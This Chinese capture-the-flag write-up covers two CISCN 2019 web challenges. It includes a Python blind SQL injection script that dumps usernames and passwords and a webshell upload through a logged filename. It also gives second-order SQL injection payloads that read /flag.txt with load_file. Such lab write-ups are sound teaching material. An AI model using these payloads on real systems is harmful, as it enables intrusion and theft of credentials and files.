[CISCN2019 总决赛 Day2 Web1]Easyweb
1、打开页面,试了试,xml,sql注入都没试出来。
查看robots.txt文件,发现
再查看源码,发现了image.php,试一下
image.php.bak泄露
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
根据源码我们可以发现,两个get参数,经过了过滤。问题不大。
试一下报错:
不行,那就盲注。
import requests
url='http://bc0fc102-e0c0-4930-a65f-177e029db728.node4.buuoj.cn:81/image.php'
flag=""
payload1 = "?id=\\0& path=or(ord(substr((select(database())),{},1))>{})%23"
payload2 = "?id=\\0& path=or(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))>{})%23"
payload3 = "?id=\\0& path=or(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x7573657273)),{},1))>{})%23"
payload4 = "?id=\\0& path=or(ord(substr((select(group_concat(username,password))from(users)),{},1))>{})%23"
for i in range(1,1000):
low = 32
high = 128
mid = (low + high)//2
while(low<high):
payload = payload4.format(i,mid)
new_url= url+payload
r= requests.get(new_url)
if "JFIF" in r.text:
low=mid+1
else:
high=mid
mid = (low+high)//2
if (mid == 32 or mid == 128):
break
flag +=chr(mid)
print(flag)
print(flag)
得到账号密码
然后发现了文件上传的地方
尝试上传文件,果然不允许上传php文件,先传图片试试
提示,讲文件名传入了log文件,那如果我们把文件名换成一句话木马是不是就可以了
还是提示不让传php文件,但咱们传的是个代码。可能后端是通过判断是否存在php字符串的吧,那就换成短标签的形式上传。上传成功:
是个代码。可能后端是通过判断是否存在php字符串的吧,那就换成短标签的形式上传。上传成功:
[CISCN2019 华北赛区 Day1 Web5]CyberPunk
先查看源码:
猜测可能用伪协议读取源码
依次读取源码
index.php
ini_set('open_basedir', '/var/www/html/');
// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>
search.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
confirm.php
阅读confirm.php源码发现了过滤的地方,对user_name和phone都进行了严格的过滤。而address却只是转义了一下。如果user_name和phone参数没问题的话,address参数会被存到数据库中。
<?php
require_once "config.php";
//var_dump($_POST);
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = $_POST["address"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if($fetch->num_rows>0) {
$msg = $user_name."已提交订单";
}else{
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单提交成功";
}
} else {
$msg = "信息不全";
}
?>
change.php
再看一下这边,过滤的参数和内容相同,但是会调用数据库中的旧参数。这下妥了,二次注入
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
首先构造好payload作为注册时的地址,当修改地址时,会触发sql注入,这里使用的是updatexml(),每次只能回显32为,所以分两次读取。
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,50)),0x7e),1)#
然后连蚁剑就行。